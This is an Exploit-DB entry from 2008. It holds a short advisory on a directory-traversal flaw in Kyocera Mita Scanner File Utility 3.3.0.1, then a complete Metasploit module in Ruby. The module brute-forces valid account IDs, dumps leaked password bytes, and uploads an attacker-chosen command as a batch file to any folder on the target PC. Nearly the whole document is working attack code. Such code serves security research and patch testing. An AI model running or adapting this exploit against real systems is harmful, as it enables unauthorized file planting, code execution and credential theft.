Kyocera Mita Scanner File Utility 3.3.0.1 - File Transfer Directory Traversal

EDB-ID:

32301




Platform:

Windows

Date:

2008-08-26


source: https://www.securityfocus.com/bid/30855/info

Kyocera Mita Scanner File Utility is prone to a directory-traversal vulnerability because it fails to adequately sanitize user-supplied input.

Attackers can exploit this issue to create and overwrite arbitrary files on the affected computer.

Kyocera Mita Scanner File Utility 3.3.0.1 is vulnerable; other versions may also be affected. 

module Msf

class Auxiliary::Spoof::Kyocera::FileUtility < Msf::Auxiliary
	
	#
	# This exploit affects TCP servers, so we use the TCP client mixin.
	#
	include Exploit::Remote::Tcp
	
	def initialize(info = {})
	super(update_info(info,
		
		'Name' => 'Kyocera Mita File Utility File Injection',
		'Description' => %q{
			This exploit attacks the Kyocera Mita File Utility 3.3.0.1 that is part of a scan to desktop
			solution. There are several bugs in this service. First, there is no authentication. This means anyone
			can upload a file to the target PC. Second, the file can contain anything, including binary data. Finally,
			the file name can be altered to include directory information, thus redirecting the file from
			the default upload location to a specified location. Combined, the service will allow a remote attacker
			to upload any file to any location on the system. If you do
			not know the correct ID number of the client side account, you can use the included getidno command to
			scan a system to detect any and all ID numbers. This will also provide you with any associated 
			passwords required by printer to upload documents.
		},

		'Author'         => 'Seth Fogie <seth@whitewolfsecurity.com>'

		)
	)
	register_options(
          [
              	OptString.new('RPORT', [ true,  "Target port - default is 37100", '37100' ]),
              	OptString.new('RHOST', [ true,  "Target host", '1']),
		 	OptString.new('CMD', [ true,  "Command", 'calc.exe']),
			OptInt.new('IDNO', [ true,  "ID number (1-100)", '1']),
			OptString.new('IDENT', [ true,  "Identification name", 'ANON']),
			OptString.new('FILENAME', [ true,  "File name (with folder)", 'Kyocera.bat']),
			OptString.new('FOLDER', [ false,  "Folder (relative to scan folder)", '']),

          ], self.class
          )
end

	
	def auxiliary_commands
		return { 
			"getidno" => "Determine a correct idno",
		 }
	end

	#this command detects any and all valid accounts on target machine and returns associated passwords.
	def cmd_getidno()
				
		1.upto(100) do |i|
   		
			connect
	
			print(".")
			
			# Build the buffer for transmission
			buf= "\x00\x06\x34\x00\x00\x02\x00\x00" #control message to PC
	
			# Send it off and get response
			sock.put(buf)
			sock.get
	
			#add ID number
			idno  = i
	
			buf = "\x02\x1c\x34\x02" +			#details about file name for file utility function
			[idno].pack('n') +				#ID number
			"\x00\x08" +
			"\x00\x0d" +
			"\x41\x41\x41\x41\x00\x4e\x53\x4e\x5f\x53\x4b\x41\x4e\x3a" +
			"\x41\x41\x41\x41\x00\x00\x00\x00" +
			"\x00\x00\x00\x00\x00\x00\x00\x00" +
			"\x00\x00\x00\x00\x00\x00\x00\x00" +
			"\x00\x00\x00\x00\x00\x00\x00\x00" +
			"\x00\x00\x00\x00\x00\x00\x00\x00" +
			"\x00\x00\x00\x00\x00\x00\x00\x00" +
			"\x00\x00\x00\x00\x00\x00\x00\x00" +
			"\x00\x00\x00\x00\x00\x00\x00\x00" +
			"\x00\x00\x00\x00\x00\x00\x00\x00" +
			"\x00\x00\x00\x00\x00\x00\x00\x00" +
			"\x00\x00\x00\x00\x00\x00\x00\x00" +
			"\x00\x00\x00\x00\x00\x00\x00\x00" +
			"\x00\x00\x00\x00\x00\x00\x00\x00" +
			"\x00\x00\x00\x00\x00\x00\x00\x00" +
			"\x00\x00\x00\x00\x00\x00\x00\x00" +
			"\x00\x00\x00\x00\x00\x00\x00\x00" +
			"\x00\x00\x00\x00\x00\x00\x00\x00" +
			"\x00\x00\x00\x00\x00\x00\x00\x00" +
			"\x00\x00\x00\x00\x00\x00\x00\x00" +
			"\x00\x00\x00\x00\x00\x00\x00\x00" +
			"\x00\x00\x00\x00\x00\x00\x00\x00" +
			"\x00\x00\x00\x00\x00\x00\x00\x00" +
			"\x00\x00\x00\x00\x00\x00\x00\x00" +
			"\x00\x00\x00\x00\x00\x00\x00\x00" +
			"\x00\x00\x00\x00\x00\x00\x00\x00" +
			"\x00\x00\x00\x00\x00\x00\x00\x00" +
			"\x00\x00\x00\x00\x00\x00\x00\x00" +
			"\x00\x00\x00\x00\x00\x00\x00\x00" +
			"\x00\x00\x00\x00\x00\x00\x00\x00" +
			"\x00\x00\x00\x00\x00\x00\x00\x00" +
			"\x00\x00\x00\x00\x00\x00\x00\x00" +
			"\x00\x00\x00\x00\x00\x00\x00\x00" +
			"\x00\x00\x00\x00\x00\x00\x00\x00" +
			"\x00\x00\x00\x00\x00\x00\x00\x00" +
			"\x00\x00\x00\x00\x00\x00\x00\x00" +
			"\x00\x00\x00\x00\x00\x00\x00\x00" +
			"\x00\x00\x00\x00\x00\x00\x00\x00" +
			"\x00\x00\x00\x00\x00\x00\x00\x00" +
			"\x00\x00\x00\x00\x00\x00\x00\x00" +
			"\x00\x00\x00\x00\x00\x00\x00\x00" +
			"\x00\x00\x00\x00\x00\x00\x00\x00" +
			"\x00\x00\x00\x00\x00\x00\x00\x00" +
			"\x00\x00\x00\x00\x00\x00\x00\x00" +
			"\x00\x00\x00\x00\x00\x00\x00\x00" +
			"\x00\x00\x00\x00\x00\x00\x00\x00" +
			"\x00\x00\x00\x00\x00\x00\x00\x00" +
			"\x00\x00\x00\x00\x00\x00\x00\x00" +
			"\x00\x00\x00\x00\x00\x00\x00\x00" +
			"\x00\x00\x00\x00\x00\x00\x00\x00" +
			"\x00\x00\x00\x00\x00\x00\x00\x00" +
			"\x00\x00\x00\x00\x00\x00\x00\x00" +
			"\x00\x00\x00\x00\x00\x00\x00\x00" +
			"\x00\x00\x00\x00\x00\x00\x00\x00" +
			"\x00\x00\x00\x00\x00\x00\x00\x00" +
			"\x00\x00\x00\x00\x00\x00\x00\x00" +
			"\x00\x00\x00\x00\x00\x00\x00\x00" +
			"\x00\x00\x00\x00\x00\x00\x00\x00" +
			"\x00\x00\x00\x00\x00\x00\x00\x00" +
			"\x00\x00\x00\x00\x00\x00\x00\x00" +
			"\x00\x00\x00\x00\x00\x00\x00\x00" +
			"\x00\x00\x00\x00\x00\x00\x00\x00" +
			"\x00\x00\x00\x00\x00\x00\x00\x00" +
			"\x00\x00\x00\x00\x00\x00\x00\x00" +
			"\x00\x00\x00\x00\x00\x00\x00\x00" +
			"\x00\x00\x00\x00\x00\x00"
	
			sock.put(buf)
			nulls="\x00\x00"
			passTest="\xFF\xFF"
			data=sock.get
			dataStr=data.to_s

			if dataStr[dataStr.length-6,2] == nulls
				print("\n")
				print_status("Valid account number found: " + i.to_s)	
			end
			if dataStr[dataStr.length-2,2] != passTest
				print_status("BONUS! Password! (last four or eight characters of string)" )
				j=0
				while j<12
       				printf("%X",data[j])
     					j+=1
			       end
				print("\n")
			end

			
	
			sock.close
		end
		print("\n")
				
	end
	

#
# The exploit sends the specified command into a kyocera.bat file in the specified folder
#
def run

	begin
	connect
	
	print_status("Sending command...")
	
	# Build the buffer for transmission
	buf= "\x00\x06\x34\x00\x00\x02\x00\x00" #control message to PC
	
	# Send it off and get response
	sock.put(buf)
	sock.get
	
	#add ID number
	idno  = datastore['IDNO']
	ident = datastore['IDENT']
	filename = datastore['FILENAME']
	folder = datastore['FOLDER']
	locationLength = filename.length + folder.length

	
	buf = "\x02\x1c\x34\x02" +			#details about file name for file utility function
	[idno].pack('n') +				#ID number
	"\x00\x08" +
	"\x00\x0d" +
	"\x41\x41\x41\x41" +
	"\x00\x4e\x53\x4e\x5f\x53\x4b\x41\x4e\x3a" +
	ident +
	"\x00\x00\x00\x00" +
	"\x00\x00\x00\x00\x00\x00\x00\x00" +
	"\x00\x00\x00\x00\x00\x00\x00\x00" +
	"\x00\x00\x00\x00\x00\x00\x00\x00" +
	"\x00\x00\x00\x00\x00\x00\x00\x00" +
	"\x00\x00\x00\x00\x00\x00\x00\x00" +
	"\x00\x00\x00\x00\x00\x00\x00\x00" +
	"\x00\x00\x00\x00\x00\x00\x00\x00" +
	"\x00\x00\x00\x00\x00\x00\x00\x00" +
	"\x00\x00\x00\x00\x00\x00\x00\x00" +
	"\x00\x00\x00\x00\x00\x00\x00\x00" +
	"\x00\x00\x00\x00\x00\x00\x00\x00" +
	"\x00\x00\x00\x00\x00\x00\x00\x00" +
	"\x00\x00\x00\x00\x00\x00\x00\x00" +
	"\x00\x00\x00\x00\x00\x00\x00\x00" +
	"\x00\x00\x00\x00\x00\x00\x00\x00" +
	"\x00\x00\x00\x00\x00\x00\x00\x00" +
	"\x00\x00\x00\x00\x00\x00\x00\x00" +
	"\x00\x00\x00\x00\x00\x00\x00\x00" +
	"\x00\x00\x00\x00\x00\x00\x00\x00" +
	"\x00\x00\x00\x00\x00\x00\x00\x00" +
	"\x00\x00\x00\x00\x00\x00\x00\x00" +
	"\x00\x00\x00\x00\x00\x00\x00\x00" +
	"\x00\x00\x00\x00\x00\x00\x00\x00" +
	"\x00\x00\x00\x00\x00\x00\x00\x00" +
	"\x00\x00\x00\x00\x00\x00\x00\x00" +
	"\x00\x00\x00\x00\x00\x00\x00\x00" +
	"\x00\x00\x00\x00\x00\x00\x00\x00" +
	"\x00\x00\x00\x00\x00\x00\x00\x00" +
	"\x00\x00\x00\x00\x00\x00\x00\x00" +
	"\x00\x00\x00\x00\x00\x00\x00\x00" +
	"\x00\x00\x00\x00\x00\x00\x00\x00" +
	"\x00\x00\x00\x00\x00\x00\x00\x00" +
	"\x00\x00\x00\x00\x00\x00\x00\x00" +
	"\x00\x00\x00\x00\x00\x00\x00\x00" +
	"\x00\x00\x00\x00\x00\x00\x00\x00" +
	"\x00\x00\x00\x00\x00\x00\x00\x00" +
	"\x00\x00\x00\x00\x00\x00\x00\x00" +
	"\x00\x00\x00\x00\x00\x00\x00\x00" +
	"\x00\x00\x00\x00\x00\x00\x00\x00" +
	"\x00\x00\x00\x00\x00\x00\x00\x00" +
	"\x00\x00\x00\x00\x00\x00\x00\x00" +
	"\x00\x00\x00\x00\x00\x00\x00\x00" +
	"\x00\x00\x00\x00\x00\x00\x00\x00" +
	"\x00\x00\x00\x00\x00\x00\x00\x00" +
	"\x00\x00\x00\x00\x00\x00\x00\x00" +
	"\x00\x00\x00\x00\x00\x00\x00\x00" +
	"\x00\x00\x00\x00\x00\x00\x00\x00" +
	"\x00\x00\x00\x00\x00\x00\x00\x00" +
	"\x00\x00\x00\x00\x00\x00\x00\x00" +
	"\x00\x00\x00\x00\x00\x00\x00\x00" +
	"\x00\x00\x00\x00\x00\x00\x00\x00" +
	"\x00\x00\x00\x00\x00\x00\x00\x00" +
	"\x00\x00\x00\x00\x00\x00\x00\x00" +
	"\x00\x00\x00\x00\x00\x00\x00\x00" +
	"\x00\x00\x00\x00\x00\x00\x00\x00" +
	"\x00\x00\x00\x00\x00\x00\x00\x00" +
	"\x00\x00\x00\x00\x00\x00\x00\x00" +
	"\x00\x00\x00\x00\x00\x00\x00\x00" +
	"\x00\x00\x00\x00\x00\x00\x00\x00" +
	"\x00\x00\x00\x00\x00\x00\x00\x00" +
	"\x00\x00\x00\x00\x00\x00\x00\x00" +
	"\x00\x00\x00\x00\x00\x00\x00\x00" +
	"\x00\x00\x00\x00\x00\x00\x00\x00" +
	"\x00\x00\x00\x00\x00\x00"

	
	
	sock.put(buf)
	nulls="\x00\x00"
	passTest="\xFF\xFF"
	data=sock.get
	dataStr=data.to_s
	
	#print_status(nulls)
	#print_status(dataStr[dataStr.length-6,2])

	if dataStr[dataStr.length-6,2] != nulls
		print_status("Invalid account number - use getidno command to find valid idno")	
	end
	if dataStr[dataStr.length-2,2] != passTest
		print_status("BONUS! Password! (last four or 8 characters of string)" )
		j=0
		while j<12
       		printf("%X",data[j])
     			j+=1
		end
		print("\n")
	end

	buf = "\x00\x54" +				#details about file name 
	"\x30" +					#location size (must be x30)
	"\x01" +					#can be altered to include folder and file
	"\x00\x05\x00\x00" +
	"\xff\xff\xff\xff\x00\x00\x00\x00" +
	"\x00\x00\x00\x00\x00\x00\x00\x00" +
	"\x00\x00\x00\x00\x00\x00\x00\x00" +
	"\x00\x00\x00\x00\x00\x24" +
	folder + filename
	
	padding = 48-locationLength
	j=0
	while j<padding
       	buf += "\x00"
     		j+=1
	end
	

	#"\x4b\x79\x6f\x63\x65\x72\x61\x2e\x62\x61\x74" +
	#"\x00\x00\x00"


	#add command length
	thecommand  = datastore['CMD']
	cmdLen = thecommand.length
	buf += [cmdLen].pack('N')
	
	#add command
	buf << thecommand
	
	j=0

	#put file
	sock.put(buf)				

	buf = "\x00\x04\x30\x02\x00\x00"


	
	sock.put(buf)				
	
	buf="\x00\x04\x30\x05\x53\xdc"	

	sock.put(buf)
	sock.get
	
	buf="\x00\x04\x30\x03\x00\x00"

	sock.put(buf)
	sock.get

	end
end
end
end